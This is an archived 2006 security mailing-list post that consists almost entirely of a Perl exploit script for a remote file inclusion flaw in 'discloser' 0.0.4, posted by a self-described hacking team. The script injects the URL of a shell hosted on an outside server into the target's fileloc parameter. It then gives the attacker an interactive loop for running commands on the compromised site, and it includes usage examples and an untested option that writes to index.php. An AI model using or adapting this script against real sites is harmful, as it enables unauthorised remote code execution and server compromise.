OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
discloser => 0.0.4 Remote File Include Vulnerability Exploit

the_3dit0ryahoo.com
Date: Thu Nov 16 2006 - 02:56:53 CST

#!/usr/bin/perl
# """""""""""""""""""""""""""""""""""""""""""""""
# """ :: :: ::::: :::: """
# """ :: :: :: : :: """
# """ :::: :: :: ::::: ::::: :::: """
# """ :: :: ::: ::: :: :: :: :: :: """
# """ :: :: :: : : ::::: :: :: :::: """
# """ """
# """""""""""""""""""""""""""""""""""""""""""""""
# Xmor$ DigitaL Hacking TeaM

# discloser => 0.0.4 Remote File Include Vulnerability Exploit
# Script.............. : discloser
# Discovered by .... : the_Edit0r
# Location .......... : Iran
# Class.............. : Remote
# Original Advisory : http://Www.Xmors.com ( Pablic ) http://Www.Xmors.net (pirv8)
# We ArE : Scorpiunix , KAMY4r , Sh3ll , SilliCONIC , Zer0.C0d3r
# D3vil_B0y_ir , Tornado , DarkAngel , Behbood
# <Spical TNX Irania Hackers :
# ( Aria-Security , Crouz , virangar ,DeltaHacking , Iranhackers
# Kapa TeaM , Ashiyane , Shabgard , Simorgh-ev, Virangar )

use LWP::UserAgent;
use LWP::Simple;

$target = ARGV[0];
$shellsite = ARGV[1];
$shellcmd = ARGV[2];
$file = "/index.php?fileloc=";

if(!$target || !$shellsite)
{
    usage();
}

header();

print "Type 'exit' to quit";
print "[cmd]\$";
$cmd = <STDIN>;

while ($cmd !~ "exit")
{
    $xpl = LWP::UserAgent->new() or die;
        $req =
HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $r = $res->content;
        $r =~ tr/[\n]/[&#234;]/;

    if (ARGV[4] eq "-r")
    {
        print $r;
    }
    elsif (ARGV[5] eq "-p")
    {
    # if not working change cmd variable to null and apply patch manually.
    $cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die(); >> index.php";
    print q
    {
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!! Patch Applied !!
!! Code added to mysql.php: !!
!! if(basename(__FILE__) == basename($_SERVER['PHP_SELF'])) !!
!! die(); !!
!! !!
!! NOTE: Adding patch function has not been tested. If does not complie or !!
!! there is an error, simply make cmd = null and add the patch code to !!
!! index.php !!
!! !!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    }
    }
    else
    {
    print "[cmd]\$";
    $cmd = <STDIN>;
    }
}

sub header()
{
    print q
    {
................................................................
.. ..
.. discloser <= 0.0.4 Remote File Include Exploit ..
.. ..
................................................................
.. ..
.. Xmors NetWork Security TeaM ..
.. Discovered by : the_Edit0r ..
.. ..
................................................................
.. ..
.. Www.Xmors.coM (Pablic) ..
.. Www.Xmors.neT ( Pirv8) ..
................................................................

                   </\/\\/_ 10\/3 15 1|)\4/\/
    };
}

sub usage()
{
header();
    print q
    {
                ..............................
                            Usage
                                                                          
perl Xmors.pl <Target website> <Shell Location> <CMD Variable> <-r> <-p>
<Target Website> - Path to target eg: www.SiteName.com
<Shell Location> - Path to shell eg: www.Sh3llserver.com/sh3ll.txt
<CMD Variable> - Shell command variable name eg: cmd
<r> - Show output from shell
<p> - Patch index.php
                           Example

perl Xmors.pl http://SiteName http://Sh3llserver/sh3ll.txt cmd -r -p
                                                                           

    };
exit();
}